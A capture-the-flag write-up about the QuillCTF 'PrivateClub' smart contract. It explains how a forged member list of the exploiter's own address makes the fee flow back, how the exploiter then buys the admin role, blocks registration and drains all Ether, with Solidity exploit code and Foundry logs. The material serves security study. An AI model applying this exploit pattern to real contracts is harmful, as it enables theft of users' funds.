- Challenge
- Contract: PrivateClub
- Exploit: PrivateClubExploit
The objective of the CTF was to become a member of the private club, to block future registrations and also to withdraw all Ether from the smart contract.
Anyone can become a member of the private club by triggering the becomeMember()
function. It's even possible for an exploiter to craft a fake member list to avoid paying fees when registering by creating a fraudulent member list consisting solely of their own address. This way, the value sent with the transaction will be sent back to the exploiter. This vulnerability exists because the function does not verify the authenticity of the member list.
// Become a member of the private club
address[] memory members = new address[](3);
members[0] = address(exploiter);
members[1] = address(exploiter);
members[2] = address(exploiter);
target.becomeMember{value: 3 ether}(members);
Once done, the exploiter only needs 10 Ether to become the new owner of the contract. With this level of ownership, the exploiter gains an excessive amount of power, enabling them to prevent others from registering and withdraw all of the funds.
// Pay to become the new owner
target.buyAdminRole{value: 10 ether}(exploiter);
assertTrue(target.members(exploiter));
Now the exploiter can abuse their power and carry out any actions they desire.
// Close the registration period: users won't be able to register anymore
target.setRegisterEndDate(block.timestamp - 1);
// Withdraw all the funds
target.adminWithdraw(exploiter, address(target).balance);
The following are the logs generated by executing the exploit using Foundry:
$ make exploit CONTRACT=PrivateClub
Running 1 test for test/QuillCTF/PrivateClubExploit.t.sol:PrivateClubExploit
[PASS] testExploit() (gas: 158544)
Logs:
Balances: target=100 ETH exploiter=20 ETH
Become a member of the private club
Balances: target=100 ETH exploiter=20 ETH
Pay to become the new owner
Balances: target=110 ETH exploiter=10 ETH
Close the registration period
User 3 tries to become a member without any success
Withdraw all the funds
Balances: target=0 ETH exploiter=120 ETH
Test result: ok. 1 passed; 0 failed; finished in 1.31ms